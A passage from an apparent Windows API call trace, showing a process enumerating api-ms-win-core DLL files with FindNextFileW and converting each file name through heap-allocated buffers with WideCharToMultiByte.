(HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.596] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0026.596] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x3ec288, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0026.596] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.596] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.596] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.597] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.597] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.597] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb85502d0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb85502d0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="")) returned 1 [0026.597] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.597] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0026.597] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", cchWideChar=39, lpMultiByteStr=0x3ec120, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0026.597] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.597] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.597] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.597] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.597] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.597] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-core-localregistry-l1-1-0.dll", cAlternateFileName="")) returned 1 [0026.597] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.597] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0026.597] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x3ec288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0026.597] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.597] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.597] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.597] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.597] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.597] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0eae39, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0eae39, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-core-memory-l1-1-0.dll", cAlternateFileName="")) returned 1 [0026.597] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.597] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0026.597] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x3ec120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0026.597] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.597] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.597] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.597] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.597] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.597] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1833b5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1833b5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-core-misc-l1-1-0.dll", cAlternateFileName="")) returned 1 [0026.597] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.598] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0026.598] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x3ec288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0026.598] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.598] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.598] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.598] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.598] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.598] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-core-namedpipe-l1-1-0.dll", cAlternateFileName="")) returned 1 [0026.598] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.598] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0026.598] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x3ec120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0026.598] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.598] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.598] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.598] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.598] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.598] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-core-processenvironment-l1-1-0.dll", cAlternateFileName="")) returned 1 [0026.598] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.598] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0026.598] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", cchWideChar=45, lpMultiByteStr=0x3ec288, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 45 [0026.598] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.598] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.598] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.598] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.598] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.598] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-core-processthreads-l1-1-0.dll", cAlternateFileName="")) returned 1 [0026.598] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.598] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0026.598] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", cchWideChar=41, lpMultiByteStr=0x3ec120, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 41 [0026.599] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.599] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.599] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.599] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.599] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.599] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="")) returned 1 [0026.599] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.599] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0026.599] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", cchWideChar=41, lpMultiByteStr=0x3ec288, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", lpUsedDefaultChar=0x0) returned 41 [0026.599] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.599] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.599] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.599] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.599] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.599] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1370f7, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1370f7, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-core-profile-l1-1-0.dll", cAlternateFileName="")) returned 1 [0026.599] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.599] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0026.599] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x3ec120, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0026.599] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.599] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.599] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.599] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.599] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.599] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0c4cda, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0c4cda, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-core-rtlsupport-l1-1-0.dll", cAlternateFileName="")) returned 1 [0026.599] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.599] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0026.599] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x3ec288, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0026.599] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.599] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.599] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.600] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.600] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.600] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1cf673, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1cf673, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-core-string-l1-1-0.dll", cAlternateFileName="")) returned 1 [0026.600] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.600] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0026.600] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x3ec120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0026.600] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.600] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.600] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.600] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.600] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0026.600] FindNextFileW (in: hFindFile=0x652a08, lpFindFileData=0x34f3cc | out: lpFindFileData=0x34f3cc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d241a90, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d241a90, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x7716a71b, dwReserved1=0x34f590, cFileName="api-ms-win-core-synch-l1-1-0.dll", cAlternateFileName="")) returned 1 [0026.600] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee8c8 [0026.600] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x3ee950 [0026.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0026.600] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec288 [0026.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x3ec288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0026.600] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x3ec120 [0026.600] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec288) returned 1 [0026.600] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ec120) returned 1 [0026.600] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee950) returned 1 [0026.600] RtlFreeHeap 